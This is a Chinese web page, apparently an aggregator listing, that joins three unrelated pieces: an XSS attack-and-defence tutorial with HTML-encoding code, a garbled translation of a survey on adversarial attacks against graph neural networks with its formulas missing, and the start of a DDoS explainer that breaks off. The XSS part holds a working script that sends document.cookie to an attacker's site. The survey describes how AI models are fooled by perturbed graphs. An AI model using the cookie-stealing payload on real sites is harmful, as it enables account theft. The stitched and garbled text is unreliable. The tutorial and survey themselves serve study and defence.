精华内容
下载资源
问答
  • XSS攻击防御

    万次阅读 多人点赞 2013-11-29 18:35:23
    XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的H...

           本文来自:高爽|Coder,原文地址:http://blog.csdn.net/ghsau/article/details/17027893,转载请注明。
           XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

    XSS攻击

           XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。

    DOM Based XSS

           DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。

           场景一

           当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样,其它语言类似: 

    <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

    <!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">

    <html>

        <head>

           <title>XSS测试</title>

        </head>

        <body>

           页面内容:<%=request.getParameter("content")%>

        </body>

    </html>

          我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址为:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,当Tom点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!这个过程中,受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>,浏览器展示页面内容的过程中,就会执行我的脚本,页面输出xss字样,这是攻击了我自己,那我如何攻击别人并且获利呢?

    Stored XSS

           Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。

           场景二

           a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功!这个过程中,受害者是多个人。
           Stored XSS漏洞危害性更大,危害面更广。

    XSS防御

           我们是在一个矛盾的世界中,有矛就有盾。只要我们的代码中不存在漏洞,攻击者就无从下手,我们要做一个没有缝的蛋。XSS防御有如下方式。

    完善的过滤体系

           永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。

    Html encode

           假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。

    less-than character (<)

    &lt;

    greater-than character (>)

    &gt;

    ampersand character (&)

    &amp;

    double-quote character (")

    &quot;

    space character( )

    &nbsp;

    Any ASCII code character whose code is greater-than or equal to 0x80

    &#<number>, where <number> is the ASCII character value.

          比如用户输入:<script>window.location.href=”http://www.baidu.com”;</script>,保存后最终存储的会是:&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。

    其它

           下面提供两种Html encode的方法。

    • 使用Apache的commons-lang.jar

      StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码,空格不转换

    • 自己实现转换,只转换部分字符

      private static String htmlEncode(char c) {

          switch(c) {

             case '&':

                 return "&amp;";

             case '<':

                 return "&lt;";

             case '>':

                 return "&gt;";

             case '"':

                 return "&quot;";

             case ' ':

                 return "&nbsp;";

             default:

                 return c + "";

          }

      }

       

      /** 对传入的字符串str进行Html encode转换 */

      public static String htmlEncode(String str) {

          if (str ==null || str.trim().equals(""))   return str;

          StringBuilder encodeStrBuilder = new StringBuilder();

          for (int i = 0, len = str.length(); i < len; i++) {

             encodeStrBuilder.append(htmlEncode(str.charAt(i)));

          }

          return encodeStrBuilder.toString();

      }

           (完) 

           本文来自:高爽|Coder,原文地址:http://blog.csdn.net/ghsau/article/details/17027893,转载请注明。

    展开全文
  • 图的对抗性攻击防御

    千次阅读 2020-04-16 19:33:13
    Adversarial Attacks and Defenses on GraphsA Review and Empirical Study --图的对抗性攻击防御:回顾与实证研究 (2020-03-03发表文章内容中文翻译)摘要1 介绍2 原则和定义2.1 Learning on Graph Data2.2 图...


    (2020-03-03发表文章内容解读))

    摘要

    深度神经网络(DNN)在各种任务中均取得了显著成绩。但是,最近的研究表明,DNN可以很容易地被输入上的小扰动(称为对抗攻击)所欺骗。作为DNN向图的扩展,已经证明了图神经网络(GNN)可以继承此漏洞。对手可以通过修改图结构(例如操纵一些边线)来误导GNN做出错误的预测。对于在安全关键型应用中使GNN适应化,此漏洞引起了极大的关注,并且近年来引起了越来越多的研究关注。因此,有必要及时提供有关现有图形对抗攻击的全面概述和对策。在此调查中,我们对现有的攻击和防御进行了分类,并回顾了相应的最新方法。此外,我们还开发了具有代表性算法的存储库1。知识库使我们能够进行实证研究,以加深对攻击和防御笔迹的理解。

    1 介绍

    图可以用作跨越各个领域的大量系统的表示,例如社会科学(社会网络),自然科学(物理系统和蛋白质-蛋白质相互作用网络)和知识图。图神经网络(GNN)将传统的深层神经网络(DNN)泛化为图,为有效学习图表示提供了新途径[46]。由于其强大的表示学习能力,GNN在从数据挖掘[21],自然语言处理[29]和计算机视觉[22]到医疗保健和生物学[26]的各种应用中都具有实际意义。
    作为传统DNN对图形的新概括,GNN继承了传统DNN的优点和缺点。与传统的DNN相似,GNN在学习图形表示方面也很强大,并且已经渗透到许多科学和技术领域。传统的DNN容易受到对抗性攻击的欺骗[16,47]。
    并且对抗攻击在训练或测试阶段插入轻微的扰动,DNN模型将完全失败。显然[55],GNN也继承了这一缺点。攻击者可以通过操纵图结构或节点特征来欺骗GNN模型,从而产生图对抗扰动。如图1所示,最初的node7被GNN模型分类为绿色节点。在node7与node3创建新连接并修改其自身功能后,GNNmodel将其错误分类为蓝色节点。 GNN的这种脆弱性已引起人们广泛关注,将它们应用于安全关键型应用(例如金融系统和风险管理)中。例如,在信用评分系统中,欺诈者可以伪造与多个高信用客户的联系,以逃避欺诈者检测模型;垃圾邮件发送者可以轻松地创建虚假的关注者,以增加虚假新闻被推荐和传播的机会。因此,迫切需要研究图对抗攻击及其对策。
    推动这项研究具有巨大的潜力,可以促进GNN在更广泛的领域中的成功采用,这鼓励了近年来对图形对抗和防御的关注。因此,有必要及时提供有关现有算法的全面系统概述。同时,通过实证研究加深我们对图对抗攻击的理解具有重要意义。这些理解不仅可以提供有关攻击行为的知识,还可以为我们设计防御策略提供见解。这些激发了以下主要目的的调查目的:•我们在第3节中从各种角度对现有的攻击方法进行了分类,并在第4节中对了代表性的算法进行了回顾。 5.•我们根据我们开发的知识库进行了实证研究,该知识库在第6节中提供了对图攻击和防御的全面理解。•在第7节中讨论了一些有希望的未来方向。
    在这里插入图片描述

    2 原则和定义

    在介绍评论和实证研究之前,我们首先在本节中介绍概念,符号和定义。

    2.1 Learning on Graph Data

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    2.2 图对抗攻击的一般形式

    基于第2.1节中的目标,我们可以为对抗性攻击定义目标的一般形式,该形式旨在最大化模型的损失值以获取错误的预测。因此,节点级图对抗性攻击的问题可能是表示为:
    在这里插入图片描述
    我们省略了图级对抗攻击的定义,因为(1)图级对抗攻击可以类似地定义,并且(2)大多数对抗攻击和防御都集中在节点级。尽管在图像领域已经对对抗攻击进行了广泛的研究,但是由于独特的挑战,我们仍然需要为图做专门的工作-(1)图的结构是离散的; (2)图中的节点不是独立的; (3)很难测量图上的摄动是否是不可察觉的。

    2.3 记号

    根据上述定义,我们列出了表1的以下部分中将使用的所有符号。
    在这里插入图片描述

    3 图形攻击的分类法

    在本节中,我们简要介绍了针对图结构化数据的对抗性攻击的主要分类。根据攻击者的目标,资源,知识和能力,攻击算法可以分为不同的类型。我们试图对图形对抗攻击的主要组成部分给出清晰的概述。

    3.1 攻击者的能力

    对抗攻击可以分为两个阶段,即模型训练和模型测试。这取决于攻击者插入对抗性干扰的能力:•躲避攻击:攻击是在训练GNN模型或进入测试阶段后发生的。模型是固定的,攻击者无法更改模型参数或结构。当G’= Gin Eq时,攻击者进行躲避攻击。 (3)。•中毒攻击:攻击是在训练GNN模型之前发生的。攻击者可以将“毒药”添加到模型训练数据中,从而使训练后的模型出现故障。 G’= ˆGin Eq时就是这种情况。 (3)。

    3.2 干扰类型

    攻击者可以从不同方面插入对抗性干扰。扰动可以归类为修改节点特征,添加/删除边以及添加伪节点。攻击者还应使扰动不明显,否则将很容易检测到。•修改特征:攻击者可以在保持图形结构的同时略微改变节点特征。•添加或删除边:攻击者可以在总动作的一定预算下添加或删除边。节点:攻击者可以在图表中插入伪节点,并将其与图表中的某些良性节点链接。

    3.3 攻击者的目标

    根据攻击目标,可以将攻击分为以下两类:
    有针对性的攻击:有少量的测试节点。攻击者旨在让训练有素的模型对这些测试样本进行错误分类。 Vt⊂Vin等式就是这种情况。 (3)。我们可以将目标攻击进一步分为(1)直接攻击,其中攻击者直接修改目标节点的特征或边缘;(2)影响者攻击,其中攻击者只能操纵其他节点来影响目标。•非目标攻击:攻击者旨在插入使训练后的模型在所有测试数据上都具有糟糕的总体性能。当Vt = Vin Eq时就是这种情况。 (3)。

    3.4 攻击者的知识

    攻击者的知识意味着攻击者对要攻击的模型了解多少信息。通常,有以下三种设置:•白盒攻击:有关模型参数,训练输入(例如,邻接矩阵和属性矩阵)和标签的所有信息都将提供给攻击者。•灰盒攻击:攻击者对受害者模型的了解有限。例如,攻击者无法访问模型参数,但可以访问训练标签。然后,它可以利用训练数据来训练替代模型,以从受害者模型中估算信息。•黑盒攻击:攻击者无法访问模型的参数或训练标签。它可以访问邻接矩阵和属性矩阵,并对输出得分或标签进行黑盒查询。

    3.5 受害者模型

    在这一部分中,我们将总结被证明容易受到对抗性例子攻击的受害者模型。图神经网络图神经网络是学习图表示的强大工具[35]。最成功的GNN变体之一是图卷积网络(GCN)[21]。GCN通过不断聚集和转换其邻居节点的信息来学习每个节点的表示。尽管GNN可以在各种任务中实现高性能,但研究表明,包括GCN在内的GNN容易受到对抗性攻击[35,55]。其他图学习算法除了图神经网络之外,对手还可能攻击图的其他一些重要算法,例如网络嵌入包括LINE [38]和Deepwalk [31],基于图的半监督学习(G-SSL)[54]和知识图嵌入[4,24]。

    4 图对抗攻击

    在本节中,我们回顾了图对抗攻击的代表性算法。按照上一节中的分类,我们首先将这些算法分为白盒,灰盒和黑盒,然后针对每个类别中的算法,将它们进一步分为针对性和非针对性的攻击。表2显示了代表性攻击方法的总体分类。此外,表5列出了代表性算法的一些开源实现。
    在这里插入图片描述

    4.1 White-box Attacks

    在白盒攻击设置中,对手可以访问有关受害者模型的任何信息,例如模型参数,训练数据,标签和预测。尽管在大多数真实世界中我们无法获得此类信息,但我们仍可以评估最坏情况下受害者模型的脆弱性。通常,白盒攻击使用受害者模型中的梯度信息来指导攻击的产生[6、9、45、48]。

    4.1.1 有针对性的攻击

    有针对性的攻击旨在误导受害者模型以对某些目标样本进行错误的预测。许多研究都遵循针对白盒的攻击设置以及各种实际应用。 FGA [9]从GCN中提取链路梯度信息,然后贪婪地选择一对具有最大绝对梯度的节点来进行石墨化修饰。提出了基于遗传算法的Q-Attack攻击许多社区检测算法[6]。基于训练图自动编码器中的梯度信息的迭代梯度攻击(IGA),被引入到攻击链接预测中[7]。此外,在[51]中研究了知识图嵌入的脆弱性,并且攻击者可以有效地操纵任意事实知识图的合理性。基于GNN的推荐系统也容易受到对抗性攻击,如[52]所示。另外,在攻击节点分类方面也付出了巨大的努力。图像领域的传统攻击总是使用模型的梯度来寻找对抗性示例。但是,由于图形数据的离散特性,直接计算模型的梯度可能会失败。为了解决这个问题,工作[45]建议使用积分梯度[37]来更好地搜索对抗性边缘和特征扰动。在攻击过程中,攻击者反复选择对对抗目标影响最大的边缘或特征。通过这种方式,它可能导致受害者模型以较高的成功率对目标节点进行错误分类。作品[50]假设在图形中有一组“坏角色”节点。当他们翻转图形中任何目标节点的边缘时,将导致GNN模型对目标节点进行错误的预测。这些“不良行为者”节点对于 GNN模型。例如,维基百科上的恶作剧文章与真实文章几乎没有随机联系。操纵这些骗局文章的连接将导致系统对真实文章的类别做出错误的预测。

    4.1.2 无目标攻击

    目前,针对无目标白盒攻击的研究并不多,拓扑攻击[48]是一种有代表性的算法。它首先构造一个二进制对称摄动矩阵S∈{0,1} n,其中Si j = 1指示翻转iandjandSi j = 0之间的边缘,这意味着在Ai j上不做任何修改。因此,攻击者的目标是在给定有限的边沿扰动预算Δ∥S∥0≤Δ的情况下找到使预定义的攻击损失最小的S。它考虑了两种不同的攻击场景:攻击具有固定参数θ的预训练GNN和攻击可训练的GNNfθ。为了攻击一个固定的fθ,可以将问题表达为

    在这里插入图片描述
    它利用[28]中的投影梯度下降(PGD)算法搜索最优值。注意,工作[28]也是图像领域中一种流行的攻击算法。对于可训练的GNN,在对抗性操作后将对参数θ进行训练,因此攻击问题被表达为最小-最大形式,其中内部最大化可以通过梯度上升来解决,而外部最小化可以通过PGD解决。

    4.2 灰盒攻击

    白盒攻击假定攻击者可以通过模型参数计算梯度,这在实际情况下并不总是可行的。提出了灰箱攻击,以产生对受害者模型了解有限的攻击[36,55,56]。通常,他们首先使用带有标记的训练数据来训练代理模型以近似受害者模型的信息,然后生成扰动来攻击代理模型。注意,这些模型需要访问训练数据的标签,因此它们不是将在以下小节中介绍的黑盒攻击。

    4.2.1 目标攻击

    针对目标灰箱攻击的早期工作是图聚类[10]。说明向DNS查询图注入噪声会降低图嵌入模型的性能。与文献[10]不同,文献[55]提出了一种称为Nettack的攻击方法来生成结构和特征攻击,旨在解决式子。 (3)。此外,他们认为仅限制摄动预算并不能总是使摄动“不被察觉”。他们建议被摄动的图还应该保持重要的图属性,包括度分布和特征共现。因此,Nettack首先选择可能的扰动候选者,这些扰动候选者不违反原始图的程度分布和特征共现。然后,它贪婪地选择分数最高的扰动来修改图,其中分数定义为:
    在这里插入图片描述
    其中,Zu是代理模型预测的分类的概率。因此,攻击者的目标是使目标节点的对数概率差异最大化。通过重复执行此操作直到到达摄动差Δ,它可以得到最终的修改图。此外,这表明这种图攻击也可以在模型之间传递,就像图像域中的攻击一样[16]。作者还进行影响者攻击,他们只能操纵目标以外的节点。事实证明,与在相同的扰动预算下直接修改目标节点相比,影响者攻击导致性能降低的幅度更小。

    4.2.2 无目标攻击

    尽管采用与Nettack相同的训练替代模型的方法,但Metattack [56]是一种无目标的中毒攻击。它解决了等式中的双层问题。 (3)通过使用元梯度。基本上,它将图结构矩阵视为超参数,攻击者损失相对于它的梯度可以通过以下公式获得:
    在这里插入图片描述
    注意∇GLatk(fθ∗(G))实际上是相对于两个Gandθ的函数。如果θ*是通过一些微分运算获得的,我们可以计算出∇metaGas,
    在这里插入图片描述
    在这里插入图片描述
    其中α表示梯度下降操作的学习率。通过将训练过程从θTback展开到θ0,我们可以得到∇GθT,然后∇metaG。一种贪婪的方法基于元梯度来选择扰动。代替修改现有节点的连通性,提出了一种新的节点注入中毒攻击的强化学习方法[NIPA] [36],将假节点注入到图数据中。 NIPA首先将单调节点注入原始图形。然后,在每个操作中,攻击者首先选择一个注入的节点与图中的另一个节点连接,然后将标签分配给注入的节点。通过顺序执行此操作,最终图形在统计上类似于原始图形,但会降低整体模型的性能。

    4.3 黑盒攻击

    与灰盒攻击不同,黑盒攻击[2,5,11,27,36]更具挑战性,因为攻击者只能访问受害者模型的输入和输出。禁止访问参数,标签和预测概率。

    4.3.1 针对性攻击

    如前所述,训练替代模型需要访问训练数据的标签,但这并不总是可行的。我们希望找到一种方法,只需要对受害人模型进行黑箱查询或以无人监督的方式攻击受害人[2,5]。要对受害人模型进行黑箱查询,强化学习就是介绍。 RL-S2V [11]是在黑盒设置下采用强化学习技术对图形数据产生对抗性攻击的第一项工作。他们将攻击过程建模为马尔可夫决策过程(MDP),并允许攻击者修改药物以更改目标节点的预测标签。他们研究节点级(目标)和图级(非目标)攻击。对于节点级攻击,他们定义MDP如下,
    State由元组G(t),u表示的状态,其中G(t)是时间步长的修改图。•动作在时间步长的单个动作表示为atat。对于每个动作,攻击者可以选择在图形中添加或删除边。此外,采用了层次结构来分解动作空间。奖励由于攻击者的目标是更改目标节点的分类结果,因此RL-S2V在MDP末尾为攻击者提供非零奖励。
    在这里插入图片描述
    在中间步骤中,攻击者没有获得任何奖励,即,∀t= 1,2,…,m-1,r(st,at)=0。•终止攻击者完成修改密码后,过程终止。
    由于他们以类似的方式定义了图级别攻击的MDP,因此我们省略了细节。进一步,采用Q学习算法[30]求解MDP,指导攻击者修改图。论文[2]没有攻击节点分类,而是提出了一种攻击黑盒节点嵌入模型族的方法。设置。通过观察DeepWalk可以矩阵分解形式来计算[32],他们利用矩阵扰动理论通过执行边沿翻转来最大化无监督的DeepWalk损失。进一步证明,摄动结构可以转移到其他模型,例如GCN和标签传播。但是,此方法仅考虑结构信息。提出了GF-Attack [5]来将特征信息纳入攻击模型。具体来说,他们通过图过滤器制定了图嵌入方法与一般图信号处理之间的联系,并基于图过滤器和属性矩阵构造了攻击者。 GF-Attack也可以转移到其他网络嵌入模型中,并且比[2]中的方法具有更好的性能。

    4.3.2 非针对性的攻击

    有人认为,仅限制修饰边缘数量的扰动可能不够明显。提出了一种新颖的框架ReWatt [27]来解决这个问题并执行无目标的图级攻击。 ReWatt仍然采用强化学习框架,而是采用重新布线操作,而不是简单地通过单次修改来添加/删除边以使扰动更加不明显。一个重新布线操作涉及三个节点v1,v2和v3,其中ReWatt会删除v1和v2之间的现有边缘并连接v1和v3。 ReWatt还将v3约束为v1的2跳邻居,以使扰动更小。这样的重排操作不会改变图中的节点和边的数量,并且进一步证明,这种重新布线操作会影响代数连接性和有效的图电阻,这两者都是基于图拉普拉斯算子的重要图属性,其方式比添加/删除边更小。

    5 针对图形攻击的5种对策

    在前面的部分中,我们已经表明,图神经网络很容易被图数据的不明显扰动所愚弄。图神经网络的脆弱性给将其应用于安全关键型应用带来了巨大的挑战。为了保护图神经网络免受这些攻击,已经提出了不同的对策策略。现有方法可分为以下几种:(1)对抗训练,(2)对抗扰动检测,(3)可证明的鲁棒性,(4)图纯化(5)注意机制。

    5.1 对抗训练

    对抗训练是图像数据中对抗攻击的一种广泛使用的对策[16]。对抗训练的主要思想是将对抗性示例注入训练集中,以便训练后的模型可以正确地分类未来的对抗性示例。同样,我们也可以采用以下策略来防御图对抗攻击,如下所示:
    在这里插入图片描述
    其中δA,δX分别表示对A,X的扰动; PA和PX表示不可感知的扰动域。等式(10)中的最小-最大优化问题表明对抗训练涉及两个过程:(1)生成使预测损失最大化的扰动;(2)更新使预测损失最小化的模型参数。通过交替以上两个过程反复地,我们可以训练一个强大的模型来对抗对抗性攻击。由于有两个输入,即邻接矩阵A和属性矩阵X,因此可以分别对它们进行对抗训练。为了在邻接矩阵上生成扰动,建议在对抗训练中随机丢弃边缘[11]。尽管这种简单的策略不能导致分类准确度的显着提高(提高1%),但在廉价的对抗训练中却显示出一定的有效性。此外,投影梯度下降用于在离散输入结构上生成扰动,而不是随机下降边缘[48]。另一方面,提出了一种具有动态正则化的对抗训练策略,以扰动输入特征[15]。具体来说,它包括将目标实例的预测与其关联实例之间的差异纳入对抗训练的目的,旨在攻击和重构图的平滑度。此外,提出了批量虚拟对抗训练[13],以提高GNN的平滑度,并使GNN变得更多。对抗对抗性干扰的能力强。 [8,12,42]中介绍了输入层上对抗训练的其他几种变体。
    上述对抗训练策略面临两个主要缺点:(1)它们分别在A和X上产生扰动; (2)由于其离散性,不容易扰动图结构。为了克服这些缺点,潜在的对抗训练方法不是在输入上生成扰动,而是在第一隐藏层上注入扰动[20]:
    在这里插入图片描述
    其中H(1)表示第一隐藏层的表示矩阵,δ∈表示H的一些扰动。注意,隐藏表示是连续的,并且合并了来自图结构和节点属性的信息。

    5.2 检测对抗性扰动

    为了在测试阶段抵抗图形对抗攻击,有一种主要策略称为对抗检测。这些检测模型通过探索对抗边缘/节点与干净边缘/节点之间的内在差异来保护GNN模型[17,49]。这项工作[49]是提出检测方法以在图形数据上找到对抗性示例的第一项工作。它引入了四种方法来区分对抗性边缘或节点与干净的边缘或节点,包括(1)链接预测(2)子图链接预测(3)图生成模型和(4)离群值检测。这些方法显示了一些有助于正确检测对抗性扰动的方法。文献[17]引入了一种方法来随机绘制节点的子集,并在采用半监督学习(SSL)模块之前依靠图形感知标准来明智地滤除受污染的节点和边缘。提出的模型可用于检测不同的异常生成模型以及对抗攻击。

    5.3 可认证的鲁棒性

    先前介绍的对抗训练策略是启发式的,并且仅显示实验上的好处。但是,即使当前的攻击失败,我们仍然不知道是否存在对抗性例子。因此,有文献[3,19,57]考虑认真考虑图神经网络的安全性,以证明GNN的鲁棒性。众所周知,GNN对一个节点的预测完全取决于其相邻节点。在[57]中,他们提出了一个问题:图中的哪些节点在其相邻节点的属性受到任何允许的扰动的风险下是安全的。为了回答这个问题,对于每个节点,通过其对应的标号yv,他们试图找到一个upperboundU(v )的最大保证金亏损:
    在这里插入图片描述
    whereX表示所有允许的属性摄动的集合。此上限称为节点v的证书,并且易于计算。因此,对于forv,如果U≤0,则X中的任何属性扰动都不能更改模型的预测,因为其最大裕度损失小于0。在测试阶段,他们计算所有测试节点的证书,因此他们可以知道图中的几个节点在属性扰动下绝对安全。此外,此证书是可培训的,直接将证书最小化将有助于更多节点变得安全。然而,工作[57]仅考虑了节点属性的扰动。从不同的角度分析可验证的鲁棒性,工作[3]处理了攻击者仅操纵图结构的情况。它以个性化PageRank [18]的线性函数的形式导出鲁棒性证书(类似于等式(12)),这使优化变得容易处理。除了致力于GNN节点分类任务的工作外,还有其他研究GNN的其他应用程序(例如社区检测)上的可验证鲁棒性的工具[19]。

    5.4 图形纯化

    对抗训练或可证明的防御方法都只针对抵抗逃避攻击,这意味着攻击发生在测试时间内。同时,图纯化防御方法主要侧重于防御中毒攻击。由于中毒攻击将毒物插入训练图中,因此纯化方法首先纯化被扰动的图数据,然后在纯化后的图上训练GNN模型。通过这种方法,可以在干净的图形上训练GNN模型。文献[45]提出了一种基于攻击方法的两个经验观察结果的提纯方法:(1)攻击者通常更喜欢添加边缘而不是去除边缘或修改特征;(2)攻击者倾向于连接不同的节点。结果,他们提出了一种防御方法,即通过消除两个末端节点的Jaccard相似度较小的边缘[33]。因为这两个节点是不同的,并且实际上不可能连接在一起,所以它们之间的边缘可能是对抗性的。实验结果证明了该方法的有效性和有效性。但是,此方法仅在节点功能可用时才有效。在[14]中,观察到Nettack [55]产生了扰动,该扰动主要改变了图邻接矩阵的小奇异值。因此,它提出了通过使用截短的SVD来获得其低秩逼近来净化扰动的邻接矩阵。它进一步表明,只有保持邻接矩阵的前十个奇异值才能防御Nettack并提高GNN的性能。

    5.5 注意机制

    与试图排除对抗性干扰的纯化方法不同,基于注意力的防御方法旨在通过对对抗性边缘或节点上的权重进行惩罚来训练鲁棒的GNN模型。基本上,这些方法学会了一种注意力机制,以区分对抗性边缘和节点与干净的边缘和节点,然后使对抗性扰动对GNN训练的聚集过程贡献较小。这项工作[53]首先假设对手节点可能具有较高的预测不确定性,因为对手倾向于将节点与其他社区的节点连接起来。为了惩罚来自这些不确定节点的影响,他们建议将节点的第1层隐藏表示h(l)i建模为具有平均值μ(l)和方差σ(l)i的高斯分布。
    在这里插入图片描述
    不确定性可以反映在方差σ(l)i中。在汇总来自邻居节点的信息时,它会应用注意机制对具有高方差的节点进行惩罚,
    在这里插入图片描述
    其中α(l)是分配给节点的γ的注意力得分是超参数。此外,itis证实被攻击的节点确实比正常节点具有更高的方差,并且所提出的注意机制确实有助于减轻对抗性攻击带来的影响。[39]中的工作表明,提高一个目标GNN模型的鲁棒性对包括来自其他干净图的信息,这些图与目标图共享相似的拓扑分布和节点属性。例如,Facebook和Twitter具有共享相似域的社交网络图数据。 Yelp和Foursquare具有相似的共同审阅图数据,因此,它首先在干净图上生成对抗性边缘EP,用作已知扰动的监督。借助这种监督知识,它进一步设计了以下损失函数,以降低对抗性边缘的注意力得分:
    在这里插入图片描述
    其中E表示期望值,E \ EP表示图中的正常边缘,α(l)i是分配给edgeei jand的注意力得分,是控制两个分布的期望值之间的余量的超参数。然后采用元优化对目标中毒图进行模型初始化和微调训练,得到鲁棒的GNN模型。

    6 实证研究

    我们已经开发了一个存储库,其中包含了graphs2上大多数具有代表性的攻击和防御算法。该知识库使我们能够加深对图攻击的理解,并通过实证研究进行防御。接下来,我们首先介绍实验设置,然后介绍经验结果和发现。

    6.1 实验装置

    在不同的环境下设计了不同的攻击和防御方法。由于页面限制,我们使用最流行的设置之一进行了实验-非目标中毒设置。相应地,我们选择针对此环境设计的代表性攻击和防御方法。三种有代表性的攻击方法被用来产生扰动,包括DICE [43],Metattack [56]和拓扑攻击[48]。注意,DICE是一种白盒攻击,它随机连接具有不同标签的节点,或者在共享相同标签的节点之间丢弃边缘。为了评估对抗攻击下不同防御方法的性能,我们比较了自然训练的GCN [21]和在这些被攻击图上的四种防御方法的鲁棒性,即GCN [21],GCN-Jaccard [45],GCN-SVD [14] ],RGCN [53]和GAT [40]。根据[56],我们使用三个数据集:Cora,Citeseer [34]和Polblogs [1]。对于每个数据集,我们随机选择10%的节点进行训练,10%的节点进行验证,其余80%进行测试。我们将每个实验重复5次,并报告平均效果。在Coraand Citeseer数据集上,采用破坏性最大的CE-min-max [48]来实施拓扑攻击。但是CE-min-max无法在Polblogs数据集上收敛,我们在该数据集上采用了另一个称为CE-PGD的变体[48]。
    (https://github.com/DSE-MSU/DeepRobust/tree/master/deeprobust/graph)

    6.2 攻击图分析

    了解攻击方法行为的一种方法是比较干净图和被攻击图的属性。在本小节中,我们从全局和局部角度执行此分析。
    全局度量 我们从三个数据集上的三个攻击生成的干净图和扰动图中收集了五个全局属性。这些属性包括添加的边数,删除的边数,边数,相邻矩阵的秩和聚类系数。我们仅在表3中显示Metattack的结果。DICE和拓扑攻击的结果可以在附录A中找到。请注意,我们将扰动从0更改为25%,步长为5%,而扰动0%表示原始的干净图形。从表中可以看出:
    攻击者倾向于添加边缘而不是删除边缘。
    •攻击可能会增加邻接矩阵的等级。
    •攻击可能会降低图形的连通性。
    摄动图的聚类系数随着摄动率的增加而减小。
    在这里插入图片描述
    局部测量 我们还研究了两个局部属性,包括通过三种边线连接的两个节点之间的特征相似度和标签相等性:新添加的边线,删除的边线和正常边线,这些边线并未受到攻击方法的影响。由于特征在我们的数据集中是二进制的,因此我们使用雅卡德相似度作为特征相似度的度量。对于标签质量,如果两个节点共享同一标签或具有不同的标签,我们将报告比率。特征相似度和标签相等性结果分别在图2和图3中得到证明。我们展示的研究结果表明Metattack的摄动率为5%。 DICE和拓扑攻击的结果可在附录B中找到。请注意,由于此数据集不具有节点特征,因此我们在Polblog上没有特征相似性结果。我们可以从图中得出以下结论。
    攻击者倾向于将具有不同标签和不同特征的节点连接起来。
    •攻击者倾向于从具有相似特征和相同标签的节点中删除边缘
    在这里插入图片描述
    在这里插入图片描述

    6.3 攻防表现

    在本小节中,我们研究攻击方法的执行方式以及防御方法是否有助于抵抗攻击。同样,我们将扰动范围从0%更改为25%,以5%为步长。结果显示在表4中。我们显示了Metattack的性能。 DICE和拓扑攻击的结果显示在附录C中。请注意,我们在Polblogs中没有Jaccarddefense模型的性能,因为此模式需要节点功能,而Polblogs不提供节点功能。根据结果​​,我们有以下观察结果:
    •随着扰动的增加,GCN的性能急剧下降。结果表明,Metattack可能会导致GCN模型的准确性大大降低。
    •当扰动较小时,我们会观察到防御方法的性能下降较小,这表明它们的有效性。但是,当图形严重中毒时,它们的性能也会显着降低,这表明需要努力防御严重中毒的攻击。
    在这里插入图片描述

    7 结论和未来方向

    在这项调查中,我们对图形数据的新兴研究领域,对抗攻击和防御措施进行了全面概述。我们研究了图对抗攻击的分类法,并回顾了代表性对抗攻击及相应的对策。此外,我们进行了实证研究,以显示不同的防御方法在不同的攻击下的行为方式,以及攻击对重要图属性的变化。通过这项全面的研究,我们对这一领域有了深入的了解,使我们能够讨论一些有前途的研究方向。
    •不可察觉的扰动度量。与图像数据不同,人类无法轻易地讲出图上的扰动是否可察觉。 nor0范数约束扰动绝对是不够的。目前只有很少的工作研究此问题,因此找到简洁的扰动评估措施非常紧迫。
    •不同的图数据。现有的工作主要集中在具有节点属性的静态图上。复杂的图(例如具有边缘属性的图和动态图)并不理想
    •图对抗示例的存在和可传递性。关于图对抗示例的存在和可传递性的讨论很少。研究该主题对于我们理解图学习算法很重要,从而有助于我们建立健壮的模型。通过分析被攻击的图,我们发现攻击很可能会改变图的某些属性。因此,我们可以通过探索这些特性来构造有毒的GNN,从而从中毒图中学习一个图。

    在这里插入图片描述

    展开全文
  • 分布式拒绝服务攻击(DDOS)是目前常见的网络攻击方法,它的英文全称为Distributed Denial of Service?简单来说,很多DoS攻击源一起攻击某台服务器就形成了DDOS攻击,从而成倍地提高拒绝服务攻击的威力。 欢迎加裙 ...

    分布式拒绝服务攻击(DDOS)是目前常见的网络攻击方法,它的英文全称为Distributed Denial of Service?简单来说,很多DoS攻击源一起攻击某台服务器就形成了DDOS攻击,从而成倍地提高拒绝服务攻击的威力。
